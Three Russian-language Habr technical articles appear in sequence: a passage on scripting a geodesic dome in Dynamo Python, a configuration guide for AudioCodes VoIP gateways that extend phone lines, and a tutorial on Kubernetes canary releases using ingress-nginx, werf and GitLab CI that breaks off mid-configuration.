Найденный скетч строил сферу методом равных хорд. Что это значит? Мы берем большой треугольник икосаэдра, каждое его ребро делим на нужное нам количество частей, соединяем точки на ребрах между собой и получаем плоскую сетку из треугольников. Затем эту сетку мы проецируем на сферу. Все бы хорошо, но сами эти треугольники достаточно сильно отличаются по размеру. Центральный больше всех. Оно и понятно, центр “большого” треугольника у нас на максимальном расстоянии от сферы. Это плохо, так как в этом случае сложнее оптимизировать расход материалов. Будет больше отходов.
Другой метод разбиения (равными дугами) предполагает, что мы строим поверх “большого” треугольника дуги и уже их делим на равные части. Подход отличается, простой проекцией не обойтись.
Скетч не подходил. Я попытался его исправить и в итоге мне пришлось нырнуть в это дело с головой.
Как оказалось помимо визуальной среды Dynamo имеет встроенный Python. С этим языком я ранее не сталкивался, но где наша не пропадала? В конце концов это просто инструмент.
Дальше будут кусочки кода, прошу обратить внимание, что это мой hello world в python, а целью было не построить максимально эффективное и производительное решение, а построить нужную сферу.
### Метод равных дуг.
Берем одну из граней икосаэдра и из углов этого треугольника строим дуги.
```
for k, edge in enumerate(curves):
# Строим дугу
arc = Arc.ByCenterPointStartPointEndPoint(sphere_center, edge.EndPoint, edge.StartPoint)
# Точки углов сохраняем, они нам пригодятся
result_points.append(edge.EndPoint)
result_points.append(edge.StartPoint)
# Иногда дугу строит "вокруг", тогда меняем местами начало и конец
if arc.SweepAngle > 90:
arc = Arc.ByCenterPointStartPointEndPoint(center_point, edge.StartPoint, edge.EndPoint)
# Делим дугу на равные части
arc_points = Arc.PointsAtEqualSegmentLength(arc, n)
else: arc_points = list(reversed(Arc.PointsAtEqualSegmentLength(arc, n)))
# Сохраняем и эти точки
for p in arc_points:
result_points.append(p)
```
Затем дуги делим на равные части и соединяем точки на дугах новыми дугами. У всех дуг один центр — центр сферы. Точки соединяем не все со всеми, а одноименные. На картинке оно выглядит попроще, чем в коде.
```
for edge_index, point_list in enumerate(points):
edge_arcs = []
for point_index, point in enumerate(point_list):
next_edge_index = edge_index + 1
if len(points) == next_edge_index:
next_edge_index = 0
end_point_index = n - point_index - 2
arc = Arc.ByCenterPointStartPointEndPoint(center_point, points[next_edge_index][end_point_index], point)
if arc.SweepAngle > 90:
arc = Arc.ByCenterPointStartPointEndPoint(center_point, point, points[next_edge_index][end_point_index])
arc_points_count = n - point_index - 1;
pp = Arc.PointsAtEqualSegmentLength(arc, arc_points_count)
for po in pp:
on_arc_points.append(po)
edge_arcs.append(arc)
edges_arcs.append(edge_arcs)
```
Опа, а дуги то не пересекаются! Не слишком беглое гугление вывело меня на книгу, которая подтвердила мои предположения о том, что нужно в качестве вершины ребра геодезика использовать центр треугольника, образованного пересечением дуг. Также курил исходники acidome, но не помню нашел ли там этому подтверждение. Помню, что было интересно.
Центры надо как-то найти. Это центр треугольника и это не сложно, но нужно было понять где же у нас в ворохе точек эти треугольники. Мне показалось самым простым вариантом соединять ближайшие друг к другу точки.
```
for point in on_arc_points:
distance = []
# Считаем расстояние от каждой точки до других.
for p2 in on_arc_points:
distance.append(point.DistanceTo(p2))
distance.sort()
# Берем три ближайшие
three_points = []
for p2 in on_arc_points:
if point.DistanceTo(p2) <= distance[2]:
three_points.append(p2);
# Строим треугольник
poly = Polygon.ByPoints(three_points)
# Берем его центр. Эту точку складываем к тем, что собирали ранее
result_points.append(poly.Center())
```
Теперь нам нужно соединить между собой собранные на разных этапах точки, которые и являются вершинами ребер геодезической сферы. На картинке эти точки видно хорошо, но вот когда они в массиве — все сложнее. Было несколько вариантов, но так как задача была с наименьшими трудозатратами получить рабочий скрипт, вышло вот это:
```
# Дальше какая-то магия с поиском какие точки из облака у нас составляют треугольники, которые грани геосферы
points = dict()
for i, point in enumerate(projected):
points[i] = dict()
points[i]['point'] = point
points[i]['id'] = i
points[i]['distance'] = dict()
for c, p2 in enumerate(projected):
points[i]['distance'][c] = point.DistanceTo(p2)
max_dist = 0
i = 0
for i, point in points.items():
max_distance = max(point['distance'].values())
if max_distance > max_dist:
root_point = i
max_dist = max_distance
row = dict()
row[root_point] = points[root_point]
del points[root_point]
surfaces = []
while len(row):
#for x in range(0, 2):
next_row = dict()
for id, item in row.items():
point = closest_point(points, id)
if point is not None:
tmp = points[point]
del points[point]
point2 = closest_point(points, id)
points[point] = tmp
if point2 is not None:
surfaces.append(Surface.ByPerimeterPoints([item['point'], points[point]['point'], points[point2]['point']]))
next_row[point] = points[point]
next_row[point2] = points[point2]
for id, item in next_row.items():
point = closest_point(row, id)
if point is not None:
tmp = row[point]
del row[point]
point2 = closest_point(row, id)
row[point] = tmp
if point2 is not None: surfaces.append(Surface.ByPerimeterPoints([row[point]['point'], row[point2]['point'], item['point']]))
row.clear()
for id, po in next_row.items():
if po['id'] in points:
del points[po['id']]
if po['id'] not in row:
row[po['id']] = po
face_triangles = surfaces
```
Сегмент готов. Наверное существует какой-то правильный путь для решения этой задачи, но я проложил свой.
Дальше сегмент разворачивается, несколько раз копируется копируется и получается полная сфера. Вот один из поворотов:
```
v = Vector.ByTwoPoints(sphere_center, curves[0].StartPoint)
for face_triangle in face_triangles:
geodesic_sphere.append(Geometry.Rotate(face_triangle, sphere_center, v, 72))
```
Скриптик вышел страшненький, я его пару раз переписывал, так как были проблемы с экспортом в Revit. Думал, что проблемы с построением. В итоге на форуме Dynamo индус подсказал украинцу и все удалось!
Теперь можно строить сферу любой частоты и любого диаметра. Сравнение размеров с результатами acidome показало, что все сходится с высокой точностью. Повторяемость это хорошо.
Также я занялся оптимизацией размеров с целью минимизации обрезков. Так как все размеры были у меня на руках это было не так трудно. В итоге радиус сферы получился 5,65 метров при частоте 5. Такие размеры позволяют мне достаточно эффективно использовать материалы шириной 125 см. Такую ширину имеют листы OSB, листового металла, утеплителя, гипсокартона. При хорошей оптимизации количество обрезков минимально. Наилучших результатов можно добиться путем расчета раскладок треугольников на материале, но этим я не занимался.
Дальше было проще, так как Revit съел сложную форму и позволил с ней работать примерно с тем же успехом, что и с квадратно-параллельной.
Конечно, трудности на этом не закончились, но это уже совсем другая история. | https://habr.com/ru/post/481616/ | null | ru | null |
# Вынос телефонных линий с помощью VoIP-шлюзов Audiocodes
В одной из наших предыдущих [статьях](https://geektimes.ru/company/arttel/blog/278072/) мы рассматривали вопрос выноса абонентских телефонных линий при помощи пары голосовых шлюзов Grandstream. За время, прошедшее с момента её выхода, многие наши клиенты отмечали, что данная статья оказалась для них весьма полезной и помогла им легко и быстро решить поставленную задачу. При этом другая часть клиентов просила нас написать аналогичные статьи-инструкции для других популярных моделей шлюзов. Выполняя данные им обещания, сегодня мы рассмотрим, каким образом организовать вынос части номерной ёмкости при помощи оборудования известной израильской фирмы AudioCodes.
Вкратце напомним постановку задачи – есть головной офис с аналоговой АТС и внутренней нумерацией 401, 402 и так далее. Также есть удаленный офис (в другом здании, городе или стране), в который невозможно протянуть телефонные линии от головной АТС, но требуется подключить к ней четыре абонента с номерами 601 – 604.
В головной офис мы устанавливаем VoIP шлюз AudioCodes с портами FXO – например, [MP-114/FXO](https://arttel.ru/shop/voip-shlyuzy/golosovoj-shlyuz-audiocodes-mp-114fxo) или [MP-118/FXO](https://arttel.ru/shop/voip-shlyuzy/golosovoj-shlyuz-audiocodes-mp-118fxo). В удаленном офисе мы будем использовать шлюз с портами FXS — [MP-114/FXS](https://arttel.ru/shop/voip-shlyuzy/golosovoj-shlyuz-audiocodes-mp-114fxs) или [MP-118/FXS](https://arttel.ru/shop/voip-shlyuzy/golosovoj-shlyuz-audiocodes-mp-118fxs). На телефонной станции головного офиса мы выделяем четыре внутренних порта, которым даем номера 601 – 604 и соединяем эти порты с четырьмя портами FXO-шлюза (для простоты изложения здесь и далее будем использовать модель MP-114/FXO). На стороне удаленного офиса пока просто подключим к портам FXS шлюза MP-114/FXS четыре обычных телефонных аппарата. Оба шлюза должны быть подключены к локальной сети и иметь статические IP-адреса.
Теперь нам необходимо решить две задачи:
1. Разрешить абонентам головного офиса (№401, №402 и т.д.) звонить абонентам удаленного офиса (№601 – 604)
2. Разрешить абонентам удаленного офиса звонить абонентам головного офиса компании
### Задача 1. Звонки из головного офиса в удаленный
#### Этап 1. Активация линий на FXO-шлюзе
Шлюзы AudioCodes помимо таких понятий, как порт или канал, также оперируют понятием **Hunt Group** – то есть логическим объединением нескольких каналов в одну группу. С помощью Hunt Group в дальнейшем можно настраивать довольно сложную логику маршрутизации вызовов. Для нас же этот функционал является избыточным, так как используемая нами схема – это точка-точка и все вызовы пришедшие с АТС на FXO-шлюз в любом случае не могут быть отправлены никуда, кроме как на FXS-шлюз в удаленном офисе. Тем не менее, для активации линий, нам требуется дать им уникальный номер и объединить в какую-нибудь Hunt Group, иначе данная схема работать не будет.
Идем в раздел **Configuration — VoIP — GW and IP to IP — Hunt Group — Endpoint Phone Number** и назначаем линиям 1-4 номера 601 – 604 и объединяем все линии в Hunt Group с номером 1.
[](https://habrastorage.org/web/c8b/1ca/05f/c8b1ca05f11540ad90ff3f85ff5c99d2.jpg)
#### Этап 2. Включение таблицы маршрутизации на FXO-шлюзе
Теперь нам необходимо, чтобы для маршрутизации звонков FXO-шлюз использовал таблицу маршрутизации, которую мы заполним на следующем этапе. Идем в раздел **Configuration — VoIP — SIP Definitions — Proxy & Registration**. Выставляем опции: **Enable Fallback to Routing Table** в положение **Enable** и **Prefer Routing Table** в положение **Yes**. Нажимаем **Submit** в нижнем левом углу для сохранения настроек.
[](https://habrastorage.org/web/0bf/1bf/b6c/0bf1bfb6c27848578825d750b04bdfd4.jpg)
#### Этап 3. Заполнение таблицы маршрутизации вызовов на FXO-шлюзе
На прошлом этапе мы настроили наш FXO-шлюз AudioCodes MP-114/FXO на приоритетное использование таблицы маршрутизации, теперь нам эту таблицу необходимо заполнить. Для этого переходим в раздел **Configuration — VoIP — GW and IP to IP — Routing — Tel to IP Routing**. Как мы уже отмечали выше, данная таблица маршрутизации будет иметь довольно примитивный вид. А именно: все вызовы из любой Hunt Group (а у нас она всего одна), с любого номера (порта) на любой номер должны быть направлены на IP-адрес FXS-шлюза, установленного в удаленном офисе.
[](https://habrastorage.org/web/fd6/1fb/976/fd61fb97618743d58a31c605ec41afa1.jpg)
#### Этап 4. Подставляем номер звонящего на FXO-шлюзе
На настоящий момент мы добились того, что все вызовы, пришедшие от АТС на FXO-шлюз будут перенаправляться на IP-адрес удаленного FXS-шлюза. Однако, есть небольшая проблема, которая состоит в том, что по умолчанию, FXO-шлюз будет подменять оригинальный CallerID, пришедший от АТС, номером своей линии, на который данный вызов пришел. То есть, все вызовы, пришедшие на первую линию шлюза будут отправлены на удаленный FXS-шлюз с CallerID 601, на вторую – с 602 и так далее. То есть, вместо городского номера или внутреннего номера коллеги, абонент в удаленном офисе будет всегда видеть свой собственный номер, что не есть хорошо.
Для того, чтобы избежать этого, перейдем в раздел **Configuration — VoIP — GW and IP to IP — Analog Gateway — Caller ID Permissions**. И на всех четырех портах выставляем **Enable**.
[](https://habrastorage.org/web/db2/e03/701/db2e03701a0943988c167802eb7495a8.jpg)
#### Этап 5. Автоматический набор удаленного номера на FXO-шлюзе
Теперь впору задаться следующим вопросом: если все телефонные вызовы FXO-шлюз без разбору будет отправлять на удаленный FXS-шлюз, да еще и с сохранением оригинального CallerID, то как же нашему удаленному FXS-шлюзу разобраться, для какого из подключенных к нему телефонов предназначается тот или иной вызов?
Для решения этого вопроса мы задействуем поле Destination Phone Number, то есть номер назначения, который настраивается в разделе **Configuration — VoIP — GW and IP to IP — Analog Gateway — Automatic Dialing**. Если вызов поступает на порт №1 шлюза, то он подставит в это поле номер 601 и передаст вызов на FXS-шлюз. Для вызова на порт №2 – в поле Destination Phone Number будет подставлен номер 602 и так далее. На основе этого поля, FXS-шлюз, как мы увидим в дальнейшем, и будет распределять вызовы между подключенными к нему аппаратами.
[](https://habrastorage.org/web/a3d/dbb/b8f/a3ddbbb8f22c49638684bd14b3708cc1.jpg)
#### Этап 6. Активация линий на FXS-шлюзе
Все работы в части подзадачи №1 на FXO шлюзе нами выполнены, и мы можем смело переходить в удаленный филиал для настройки шлюза FXS. Тут нам тоже придется начать с активации линий и объединения их в одну Hunt Group. Переходим в раздел **Configuration — VoIP — GW and IP to IP — Hunt Group — Endpoint Phone Number** и заполняем его совершенно аналогичным FXO-шлюзу образом: линиям 1-4 даем уникальные номера 601-604 и объединяем их в одну Hunt Group с номером 1. Однако, следует отметить, что если объединение всех номеров в одну Hunt Group носит довольно формальный характер, то назначение номеров линиям – настройка, как мы увидим дальше, принципиальная.
[](https://habrastorage.org/web/305/85f/bf3/30585fbf307e404f996fff254d4d08f1.jpg)
#### Этап 7. Маршрутизация входящих вызовов на FXS-шлюзе
Тоже довольно формальная настройка – в разделе **Configuration — VoIP — GW and IP to IP — Routing — IP To Hunt Group Routing Table** указываем, что вызовы с любых номеров на любые номера с IP-адреса нашего FXO-шлюза, следует направлять в Hunt Group с номером 1. Она у нас и так одна и объединяет все четыре порта.
[](https://habrastorage.org/web/f2e/2e6/987/f2e2e6987bb74ef7941db92920035dac.jpg)
#### Этап 8. Настройка поведения группы поиска на FXS-шлюзе
А вот эта настройка, напротив, является самой важной: ранее мы настроили FXO-шлюз таким образом, чтобы он заполнял поле Destination Phone Number в зависимости от линии, на которую пришел вызов. Теперь мы должны настроить FXS-шлюз, чтобы он на основе этой информации распределял вызовы между своими телефонами. Идем в раздел **Configuration — VoIP — GW and IP to IP — Hunt Group — Hunt Group Settings** и зададим правило работы нашей единственной Hunt Group: в опции **Hunt Group ID** выставляем значение 1 (это ID нашей единственной группы), в опции **Channel Select Mode** нужно выбрать вариант **By Dest Phone Number**, что означает выбирать линию по номеру назначения, а в опции **Registration Mode** нужно выбрать режим **Don’t Register**.
То есть, получив вызов с номером назначения, к примеру — 603, FXS-шлюз отправит этот вызов на свою линию с номером 603. Поэтому назначение номеров линиям на этапе 6 является принципиальным – эти номера должны совпадать с номерами, заданными на этапе 5. Что касается опции **Don’t Register** – то тут все просто, мы используем наш шлюз не совместно с IP-АТС, а в режиме точка-точка с другим шлюзом, поэтому вся работа у нас ведется в режиме без регистрации.
[](https://habrastorage.org/web/55d/284/d56/55d284d561b3493985939d4d9e653868.jpg)
#### Этап 9. Проверка
Берем любой внутренний телефон из головного офиса и набираем на нем 601 – вызов должен пойти на телефон, подключенный к первому порту FXS-шлюза. При наборе 602 – на второй и так далее. Если все корректно работает, то работы по задаче №1 можно считать выполненными и переходить ко второй задаче.
### Задача 2. Звонки из удаленного офиса в головной
#### Этап 1. Маршрутизация исходящих вызовов на FXS-шлюзе
На самом деле большую часть работ для решения второй задачи мы уже выполнили – активировали линии на шлюзах, назначив им номера и объединив в Hunt Group. Теперь же нам, по сути, надо отзеркалировать настройки, осуществленные на предыдущих этапах.
Переходим в раздел **Configuration — VoIP — GW and IP to IP — Routing — Tel to IP Routing** на FXS-шлюзе и создаем правило, которое гласит, что вызовы из любой Hunt Group, с любого и на любой номер следует отправлять на IP-адрес FXO-шлюза. Как видно, заполнение таблицы маршрутизации на FXS-шлюзе полностью аналогично таблице маршрутизации на FXO-шлюзе. В принципе, на этом настройка шлюза MP-114/FXS заканчивается, и мы можем вернуться к шлюзу MP-114/FXO в головном офисе компании.
[](https://habrastorage.org/web/3dd/cff/5fa/3ddcff5fabc94e1a83ffec72078a1336.jpg)
#### Этап 2. Маршрутизация входящих вызовов на FXO-шлюзе
Помним, что главной сущностью в маршрутизации вызовов на шлюзах AudioCodes является так называемая Hunt Group. Поэтому первым делом нам необходимо настроить FXO-шлюз так, чтобы все вызовы со стороны FXS-шлюза поступали в нашу единственную Hunt Group с номером 1. Идем в раздел **Configuration — VoIP — GW and IP to IP — Routing — IP To Hunt Group Routing Table** и создаем единственное правило. В опциях **Dest. Phone Prefix** и **Source Phone Prefix** ставим символ «\*», в опции **Source IP Address** указываем IP адрес FXS шлюза, а в опции **Hunt Group ID** — номер 1. Все, теперь все вызовы с любого и на любой номер, пришедшие от FXS-шлюза попадут на обработку в Hunt Group №1. А как они там будут обработаны, мы настроим на следующем этапе.
[](https://habrastorage.org/web/87e/ed2/a81/87eed2a8112b42a09368236ec17399e0.jpg)
#### Этап 3. Настройка поведения группы поиска на FXO-шлюзе
Итак, все вызовы с FXS-шлюза мы без разбору отправляем в Hunt Group №1 шлюза FXO. Однако последнему необходимо понимать, через какую из своих линий ему следует отправить вызов дальше на АТС, ведь каждому из абонентов в удаленном офисе соответствует определенная линия на FXO-шлюзе и, как следствие, порт на АТС. Для этого нам необходимо перейти в раздел **Configuration — VoIP — GW and IP to IP — Hunt Group — Hunt Group Settings** и указать, что все вызовы, пришедшие на Hunt Group 1 должны быть отправлены на АТС через линию в соответствии с номером источника. Технически это делается следующим образом: в опции **Hunt Group ID** выставляем значение 1 (это ID нашей группы поиска), в опции **Channel Select Mode** выбираем вариант **By Source Phone Number**, а в опции **Registration Mode** выбираем режим **Don’t Register**.
[](https://habrastorage.org/web/e95/dd8/432/e95dd8432ba2450c9c64743e240ff74e.jpg)
Для того, чтобы лучше эту логику, рассмотрим часть SIP-сообщения метода INVITE, которое получает FXO-шлюз от FXS-шлюза при попытке удаленного абонента набрать какой-либо номер:
```
INVITE sip:401@192.168.4.21;user=phone SIP/2.0
Via: SIP/2.0/UDP 192.168.4.22:5060;branch=z9hG4bKac2108928548
Max-Forwards: 70
From: ;tag=1c2108923745
To:
```
Как можно увидеть, в SIP-сообщении присутствуют два поля **From** и **To**. В поле **From** указан номер 601 – с этого номера совершается вызов из удаленного офиса, и именно на основе этого поля FXO-шлюз задействует свою линию 601 для передачи этого вызова на АТС. Если вернуться к самому первому этапу первой задачи, мы увидим, что номер 601 соответствует первому порту FXO-шлюза. Поле **To** определяет, на какой номер будет отправлен вызов – в данном случае это номер 401 – номер внутреннего абонента головного офиса. 192.168.4.21 — это IP-адрес FXO шлюза, а 192.168.4.22 — IP-адрес FXS шлюза.
#### Этап 4. Настройка вызова в одной действие
Шлюз Audiocodes MP-114 FXO имеет два режима совершения вызовов из IP-сети в сторону аналоговых линий: вызов в 2 действия (Two Stages) и вызов в одно действие (One Stage). Разница между ними следующая: в режиме вызова в два действия, вызов пришедший на шлюз будет отвечен самим шлюзом и скоммутирован на порт АТС, а звонящий услышит привычный гудок, как будто бы он только поднял трубку своего телефона, после чего потребуется набрать номер телефона, который требуется вызвать. В режиме вызова в одно действие шлюз сразу перенаправит вызов на аналоговый порт в соответствии с заданными настройками.
Нам для нашего примера понадобится режим в одно действие (One Stage), так как номер звонящего и номер вызываемого абонента у нас формируются на стороне FXS шлюза. Для этого в разделе **Configuration — VoIP — GW and IP to IP — Analog Gateway — FXO Settings** в опции **Dialing Mode** выбрать режим **One Stage**.
[](https://habrastorage.org/web/005/e21/968/005e219686f44bf5904cfbeca569e735.jpg)
#### Этап 5. Проверка и диагностика
На этом настройка выноса телефонных линий в общем-то завершена, достаточно осуществить несколько стандартных проверок, позвонив в обе стороны и убедится, что все работает должным образом. Если же, по каким-либо причинам, что-то не заработало или вы решаете другую задачу, например, вынос нескольких линий не в одну локацию, а в несколько, то для поиска и решения проблем следует воспользоваться встроенными в шлюзы AudioCodes средствами отладки.
[](https://habrastorage.org/web/b73/d0b/bad/b73d0bbad20b432fa4e2bdc19258ee95.jpg)
Самый простой способ — просматривать лог сообщений прямо в веб интерфейсе устройства можно в разделе **Status & Diagnostics — System Status — Message Log**. Однако, при написании статьи я использовал отправку сообщений на Syslog сервер, настройки которого выполняются в разделе **Configuration — System — Syslog Settings**. В качестве Syslog сервера использовался Rsyslog. Для того, чтобы получать лог сообщения в конфигурационном файле демона Rsyslog должны присутствовать следующие настройки:
```
module(load="imudp")
input(type="imudp" port="514")
$template FILENAME,"/var/log/rsyslogd/%fromhost-ip%.log
*.* ?FILENAME
```
#### Заключение
Шлюзы [AudioCodes](https://arttel.ru/shop/voip-shlyuzy?vendors=169) ценятся многими профессионалами за их гибкость, надежность и функциональность. Вместе с тем, их настройка может вызвать значительные сложности у неискушенного пользователя по причине наличия большого количества опций и своеобразной логики работы устройств. Однако, немного познакомившись с данными шлюзами, через какое-то время понимаешь, что все реализовано очень логично и правильно. Надеюсь, данная статья поможет новичкам пройти первый этап знакомства со шлюзами AudioCodes максимально безболезненно. | https://habr.com/ru/post/404399/ | null | ru | null |
# Canary-релизы в Kubernetes на базе Ingress-NGINX Controller
Тема «канареечных» (canary) релизов поднималась в нашем блоге уже не раз — см. ссылки в конце статьи. Но не будет лишним напомнить, зачем они нужны.
Canary-развертывание используется, чтобы протестировать новую функциональность на отдельной группе пользователей. Группа выделяется по определенному признаку. Тест при этом не должен затрагивать работу основной версии приложения и его пользователей. Нагрузка между двумя версиями приложения должна распределяться предсказуемо.
Canary-релизы достаточно просто реализуются на уровне Ingress-контроллеров. В статье рассмотрен практический пример настройки таких релизов в Kubernetes на базе [Ingress NGINX Controller](https://github.com/kubernetes/ingress-nginx).
> **Примечание**
>
> Реализация применима только для приложений, к которым обращаются именно через Ingress. Если ваше приложение взаимодействует с окружением исключительно на уровне Service, рассмотренный метод не подойдет.
>
>
Готовим приложение для тестов
-----------------------------
Для примера нам потребуется небольшое приложение. Возьмем базовый NGINX, который будет отдавать одну HTML-страницу, и Ingress-контроллер, через который будем обращаться к веб-серверу.
Получился такой чарт:
```
apiVersion: apps/v1
kind: Deployment
metadata:
name: {{ .Chart.Name }}
spec:
revisionHistoryLimit: 3
selector:
matchLabels:
app: {{ .Chart.Name }}
replicas: 1
template:
metadata:
annotations:
checksum/config: {{ include (print $.Template.BasePath "/10-nginx-config.yaml") . | sha256sum }}
labels:
app: {{ .Chart.Name }}
spec:
volumes:
- name: configs
configMap:
name: {{ .Chart.Name }}-configmap
containers:
- name: nginx
imagePullPolicy: Always
image: {{ index .Values.werf.image "nginx" }}
lifecycle:
preStop:
exec:
command: [ "/bin/bash", "-c", "sleep 5; kill -QUIT 1" ]
command: ["/usr/sbin/nginx", "-g", "daemon off;"]
ports:
- containerPort: 80
name: http
protocol: TCP
volumeMounts:
- name: configs
mountPath: /etc/nginx/nginx.conf
subPath: nginx.conf
resources:
requests:
cpu: 50m
memory: 128Mi
limits:
memory: 128Mi
---
apiVersion: v1
kind: Service
metadata:
name: {{ .Chart.Name }}
spec:
clusterIP: None
selector:
app: {{ .Chart.Name }}
ports:
- name: http
port: 80
---
apiVersion: v1
kind: ConfigMap
metadata:
name: {{ .Chart.Name }}-configmap
data:
nginx.conf: |
error_log /dev/stderr;
events {
worker_connections 100000;
multi_accept on;
}
http {
charset utf-8;
server {
listen 80;
index index.html;
root /app;
error_log /dev/stderr;
location / {
try_files $uri /index.html$is_args$args;
}
}
}
---
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: {{ .Chart.Name }}
spec:
rules:
- host: "canary-example.flant.com"
http:
paths:
- path: "/"
pathType: Prefix
backend:
service:
name: {{ .Chart.Name }}
port:
number: 80
```
В корень проекта добавим страницу, которую будет отдавать веб-сервер. Назовем ее `index.html`:
```
Hi! I'm another one typical nginx!
```
Также для деплоя нашего приложения потребуется CI\*.
\* ПримечаниеВ примере рассмотрен деплой на базе GitLab CI + [werf](https://ru.werf.io/).
Создадим в корне проекта файл конфигурации werf — `werf.yaml`:
```
project: canary-example
configVersion: 1
deploy:
helmRelease: '[[ project ]]"'
namespace: "[[ project ]]"
---
image: nginx
from: nginx:stable
git:
- add: /
to: /app
excludePaths:
- .helm
- werf.yaml
- .gitlab-ci.yml
```
… и файл конфигурации GitLab CI — `.gitlab-ci.yml` \*\*:
```
stages:
- converge
.base_converge: &base_converge
stage: converge
script:
- werf converge
except:
- schedules
tags:
- werf
Converge base:
<<: *base_converge
environment:
name: canary-example
when: manual
```
\*\* ПримечаниеПодробнее про использование werf для сборки образов и развертывания приложений можно прочитать [в документации](https://ru.werf.io/documentation/v1.2/quickstart.html). Все исходные коды приложения и чартов можно найти [в нашем репозитории](https://github.com/flant/examples/tree/master/2022/10-canary-example).
Развернем приложение в кластере, запустив CI, и проверим, что оно работает:
```
$ curl canary-example.flant.com
Hi! I'm another one typical nginx!
```
Отлично!
Переходим к реализации canary-релизов.
Делаем «канареечный» релиз
--------------------------
Подготовим две параллельно работающие версии приложения. Для этого нам понадобятся два отдельных Helm-релиза.
Модифицируем созданный ранее CI, добавив в него отдельный Job для canary-деплоя и переменную `$CANARY_DEPLOY`, которую будем подставлять в название Helm-релиза.
Внесем изменения в файлы проекта — в `.gitlab-ci.yml`:
```
stages:
- converge
.base_converge: &base_converge
stage: converge
script:
- export CI_HELM_RELEASE=${CANARY_DEPLOY}
- werf converge
--set "global.canary_deploy=${CANARY_DEPLOY:-}"
except:
- schedules
tags:
- werf
Converge base:
<<: *base_converge
environment:
name: canary-example
when: manual
variables:
CANARY_DEPLOY: ""
Converge canary::
<<: *base_converge
environment:
name: canary-example
when: manual
variables:
CANARY_DEPLOY: "-canary"
```
… и в `werf.yaml`:
```
project: canary-example
configVersion: 1
deploy:
helmRelease: '[[ project ]]{{ env "CI_HELM_RELEASE" }}'
namespace: "[[ project ]]"
---
image: nginx
from: nginx:stable
git:
- add: /
to: /app
excludePaths:
- .helm
- werf.yaml
- .gitlab-ci.yml
```
Обратите внимание, что в `.gitlab-ci.yml` переменная `$CANARY_DEPLOY` используется в обоих вариантах деплоя (`base` и `canary`). Но в первом случае она содержит лишь пустую строку, а при canary — значение `-canary`. Соответственно, релиз основной версии будет называться `nginx-example`, а canary-релиз — `nginx-example-canary`.
Чтобы имена ресурсов в релизах не совпадали, немного модифицируем чарт. Для этого переопределим названия ресурсов по шаблону «название чарта + значение переменной `global.canary_deploy`»:
```
{{ $name := printf "%s%s" (.Chart.Name) (.Values.global.canary_deploy) }}
apiVersion: apps/v1
kind: Deployment
metadata:
name: {{ $name }}
spec:
revisionHistoryLimit: 3
selector:
matchLabels:
app: {{ $name }}
replicas: 1
template:
metadata:
annotations:
checksum/config: {{ include (print $.Template.BasePath "/10-nginx-config.yaml") . | sha256sum }}
labels:
app: {{ $name }}
spec:
imagePullSecrets:
- name: registrysecret
volumes:
- name: configs
configMap:
name: {{ $name }}-configmap
containers:
- name: nginx
imagePullPolicy: Always
image: {{ index .Values.werf.image "nginx" }}
lifecycle:
preStop:
exec:
command: [ "/bin/bash", "-c", "sleep 5; kill -QUIT 1" ]
command: ["/usr/sbin/nginx", "-g", "daemon off;"]
ports:
- containerPort: 80
name: http
protocol: TCP
volumeMounts:
- name: configs
mountPath: /etc/nginx/nginx.conf
subPath: nginx.conf
resources:
requests:
cpu: 50m
memory: 128Mi
limits:
memory: 128Mi
---
apiVersion: v1
kind: Service
metadata:
name:{{ $name }}
spec:
clusterIP: None
selector:
app: {{ $name }}
ports:
- name: http
port: 80
---
apiVersion: v1
kind: ConfigMap
metadata:
name: {{ $name }}-configmap
data:
nginx.conf: |
error_log /dev/stderr;
events {
worker_connections 100000;
multi_accept on;
}
http {
charset utf-8;
server {
listen 80;
index index.html;
root /app;
error_log /dev/stderr;
location / {
try_files $uri /index.html$is_args$args;
}
}
}
```
В завершение добавим на Ingress аннотацию, которая определяет, какой процент трафика мы хотим направить в canary-версию приложения:
```
{{ $name := printf "%s%s" (.Chart.Name) (.Values.global.canary_deploy) }}
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: {{ $name }}
{{- if ne .Values.global.canary_deploy "" }}
annotations:
nginx.ingress.kubernetes.io/canary: "true"
nginx.ingress.kubernetes.io/canary-weight: "30"
{{- end }}
spec:
rules:
- host: "canary-example.flant.com"
http:
paths:
- path: "/"
pathType: Prefix
backend:
service:
name: {{ $name }}
port:
number: 80
```
Аннотация `nginx.ingress.kubernetes.io/canary-weight: "30"` говорит о том, что 30% запросов должны быть направлены в новую версию приложения.
Подробнее ознакомиться с этой функциональностью можно [в документации контроллера](https://github.com/kubernetes/ingress-nginx/blob/main/docs/user-guide/nginx-configuration/annotations.md#canary).
Проверяем работоспособность
---------------------------
Так как для выката мы используем werf, подразумевается, что проект должен быть Git-репозиторием. Создадим отдельную ветку и изменим в ней содержимое веб-страницы:
```
Wow! I'm canary nginx!
```
Развернем новую версию приложения из созданной ветки и проверим, что получилось:
```
$ for ((i=1;i<=10;i++)); do curl -s "canary-example.flant.com"; done
Hi! I'm another one typical nginx!
Hi! I'm another one typical nginx!
Hi! I'm another one typical nginx!
Hi! I'm another one typical nginx!
Hi! I'm another one typical nginx!
Wow! I'm canary nginx!
Wow! I'm canary nginx!
Hi! I'm another one typical nginx!
Hi! I'm another one typical nginx!
Wow! I'm canary nginx!
```
Как видно, в трех случаях из десяти мы получили ответ от новой версии приложения. При этом остальные семь запросов были обработаны базовой версией приложения.
Отлично, но можно лучше!
Пробуем альтернативный вариант — с header'ом
--------------------------------------------
Зачастую требуется управлять балансировкой трафика между версиями приложения более гибко, нежели просто процентным соотношением. Реализовать это можно с помощью специального header'а или cookie в клиентском запросе. Способы практически не отличаются по реализации, поэтому рассмотрим вариант с header'ом.
Передадим в CI ключ и значение для header’а и немного изменим аннотации в Ingress-контроллере:
```
{{- if ne .Values.global.canary_deploy "" }}
annotations:
nginx.ingress.kubernetes.io/canary: "true"
nginx.ingress.kubernetes.io/canary-by-header: {{ $.Values.global.canary_header | quote }}
nginx.ingress.kubernetes.io/canary-by-header-value: {{ $.Values.global.canary_header_value | quote }}
{{- end }}
```
Добавим нужные переменные в CI:
```
.base_converge: &base_converge
stage: converge
script:
- export CI_HELM_RELEASE=${CANARY_DEPLOY}
- werf converge
--set "global.canary_deploy=${CANARY_DEPLOY:-}"
--set "global.canary_header=${CANARY_HEADER:-}"
--set "global.canary_header_value=${CANARY_HEADER_VALUE:-}"
except:
- schedules
tags:
- werf
Converge to canary:
<<: *base_converge
environment:
name: canary-example
when: manual
variables:
CANARY_DEPLOY: "-canary"
CANARY_HEADER: "x-version"
